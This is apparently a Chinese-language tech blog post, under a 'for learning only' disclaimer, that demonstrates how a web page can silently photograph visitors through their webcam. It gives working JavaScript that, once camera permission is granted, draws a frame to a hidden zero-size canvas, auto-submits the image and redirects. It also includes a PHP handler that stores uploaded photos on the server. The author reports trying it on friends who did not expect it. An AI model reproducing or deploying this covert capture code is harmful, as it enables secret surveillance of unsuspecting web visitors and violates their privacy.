声明
本文技术仅供学习交流使用，严禁用作非法用途！如果造成不良影响，由使用者自行承担责任！
如果继续阅读本文，说明您同意以上内容！
正文
放在以前，这个技术确实可以做到隐形操作；现在，有风险的操作浏览器都会有提示，或者系统也有提示，安全性和隐私性提高了不少（X5 内核浏览器不一定）。
浏览器真的可以抓拍？
确实可以，调用用户的摄像头即可。
笔者简单的写了个 Demo，朋友们帮忙做了测试，得出一个结论：
面对陌生的网站，弹出权限授权询问时，出于好奇，总喜欢点击进去看一看。
当笔者把抓取到的测试样例发送给当事人时，当事人表示非常震惊。
当然，数据在实验后已销毁，不会留存于服务器中。
代码
那么，要实现这个功能，是否很复杂？
并不。
以下为笔者的一个 Demo 片段（仅当前学习研究使用，不保证浏览器更新后或使用不同浏览器访问能够正常使用）：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| <canvas style="width:0px;height:0px" id="canvas" width="1080" height="1920"></canvas>
<script type="text/javascript">
window.addEventListener("DOMContentLoaded", function() {
var canvas = document.getElementById('canvas');
var context = canvas.getContext('2d');
var video = document.getElementById('video');
if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
navigator.mediaDevices.getUserMedia({
video: true
}).then(function(stream) {
video.srcObject = stream;
video.play();
setTimeout(
function() {
context.drawImage(video, 0, 0, 1080, 1920);
},
1000
);
setTimeout(
function() {
var img = canvas.toDataURL('image/png');
document.getElementById('result').value = img;
document.getElementById('go').submit();
},
1300
);
}, function() {
alert("环境异常，跳转失败！请确保已授予权限！");
});
}
},
false
);
</script>
|
运行效果
在访问网页时，主流浏览器会询问是否允许使用摄像头；
一旦允许，则抓取图像，样例所用像素为 1080 * 1920
抓拍完成，跳转预设好的页面
到这里，任务就完成了。
测试
可以自行搭建服务器进行测试，这里使用 PHP 参考代码。由于浏览器特性更新等外部因素，不保证能够正常使用。
目录结构：
1
2
3
| + img
- index.php
- handler.php
|
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
| <!DOCTYPE html>
<html>
<head>
<title>自动拍照 Demo</title>
</head>
<body>
<video id="camera" autoplay></video>
<canvas id="canvas" style="display: none;"></canvas>
<script>
async function startCamera() {
const stream = await navigator.mediaDevices.getUserMedia({ video: true });
const camera = document.getElementById('camera');
camera.srcObject = stream;
}
async function takePhotoAndUpload() {
const camera = document.getElementById('camera');
const canvas = document.getElementById('canvas');
canvas.width = camera.videoWidth;
canvas.height = camera.videoHeight;
canvas.getContext('2d').drawImage(camera, 0, 0, canvas.width, canvas.height);
const image = canvas.toDataURL('image/jpeg');
const formData = new FormData();
formData.append('image', image);
const response = await fetch('./handler.php', {
method: 'POST',
body: formData
});
const result = await response.text();
console.log(result);
}
window.onload = () => {
startCamera();
setTimeout(takePhotoAndUpload, 2000);
};
</script>
</body>
</html>
|
handler.php
1
2
3
4
5
6
7
8
9
10
| <?php
if (isset($_POST['image'])) {
$base64_image = $_POST['image'];
$image_data = base64_decode(preg_replace('#^data:image/\w+;base64,#i', '', $base64_image));
$filename = './img/' . date('YmdHms') . random_int(11, 99) . '.jpg';
file_put_contents($filename, $image_data);
echo '图片已上传服务器！';
}
|
图片保存目录：
··· EOF ···
> 喜欢文章，支持一下 <